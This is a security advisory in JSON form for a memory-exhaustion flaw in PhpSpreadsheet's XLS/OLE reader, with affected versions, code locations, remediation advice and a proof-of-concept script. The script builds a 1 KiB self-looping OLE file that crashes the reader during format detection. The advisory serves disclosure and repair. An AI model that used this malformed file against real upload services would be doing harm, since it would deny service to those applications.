CVE-2026-59933: PHPSpreadsheet XLS/OLE Sector-chain Self-loop Causes Memory Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xh5m-36r6-47m3",
  "modified" : "2026-07-23T15:01:50Z",
  "published" : "2026-07-23T15:01:50Z",
  "aliases" : [ "CVE-2026-59933" ],
  "summary" : "PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion",
  "details" : "## Summary\n\nPhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this->sbdStartBlock;\n$this->smallBlockChain = '';\nwhile ($sbdBlock != -2) {\n    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n    $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);\n    $pos += 4 * $bbs;\n\n    $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'\nset -eu\nphp -r '\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9));     // sector size 512\n$set(32, pack(\"v\", 6));     // mini sector size 64\n$set(44, pack(\"l\", 1));     // 1 SAT sector\n$set(48, pack(\"l\", 0));     // directory first sector 0\n$set(56, pack(\"l\", 4096));  // mini stream cutoff\n$set(60, pack(\"l\", 0));     // SSAT first sector 0\n$set(64, pack(\"l\", 1));     // one SSAT sector\n$set(68, pack(\"l\", -2));    // no MSAT extension\n$set(72, pack(\"l\", 0));     // no extension sectors\n$set(76, pack(\"l\", 0));     // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0));    // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n'\nphp -d memory_limit=64M -d display_errors=1 -r '\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r->canRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n' 2>&1 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n  - a visited-sector set to reject cycles;\n  - maximum chain length based on file size and sector size;\n  - bounds checks before reading from `$this->data`, `$this->bigBlockChain`, or `$this->smallBlockChain`;\n  - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n  - small-block depot chain construction;\n  - small-block stream extraction;\n  - big-block stream extraction;\n  - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "5.8.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.8.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.10.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.6"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.4.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.6"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.17"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.30.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.30.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-23T15:01:50Z",
    "nvd_published_at" : null
  }
}